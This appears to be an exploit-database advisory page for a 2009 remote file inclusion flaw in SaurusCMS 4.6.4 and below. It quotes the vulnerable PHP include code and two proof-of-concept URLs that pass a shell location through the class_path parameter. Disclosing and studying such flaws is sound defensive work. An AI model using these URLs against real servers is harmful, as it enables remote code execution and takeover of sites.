SaurusCMS - exploit.company

vendor:

SaurusCMS

by:

cr4wl3r

7.5

CVSS

HIGH

Remote File Inclusion (RFI)

CWE

Product Name: SaurusCMS

Affected Version From: 4.6.4 and below

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: GNU/LINUX

2009

SaurusCMS <= 4.6.4 Multiple RFI Exploit

SaurusCMS versions 4.6.4 and below are vulnerable to Remote File Inclusion (RFI) attacks. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This request contains a URL in the ‘class_path’ parameter which points to a malicious file on the attacker’s server. When the vulnerable server processes the request, the malicious file is executed on the server.

Mitigation:

Upgrade to the latest version of SaurusCMS, or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

##################################################################
## Exploit Title: SaurusCMS <= 4.6.4 Multiple RFI Exploit       ##
## Date: 19-12-2009                                             ##
## Author: cr4wl3r                                              ##
## Software Link: http://www.saurus.info                        ##
## Version: N/A                                                 ##
## Tested on: GNU/LINUX                                         ##
##################################################################


~ Code [class.writeexcel_workbook.inc.php]

global $class_path;

require_once $class_path."excel/class.writeexcel_biffwriter.inc.php";
require_once $class_path."excel/class.writeexcel_format.inc.php";
//require_once "class.writeexcel_formula.inc.php";
require_once $class_path."excel/class.writeexcel_olewriter.inc.php";


~ PoC

[SaurusCMS_path]/classes/excel/class.writeexcel_workbook.inc.php?class_path=[Shell]



~ Code [class.writeexcel_worksheet.inc.php]

global $class_path;
require_once $class_path."excel/class.writeexcel_biffwriter.inc.php";


~ PoC

[SaurusCMS_path]/classes/excel/class.writeexcel_worksheet.inc.php?class_path=[Shell]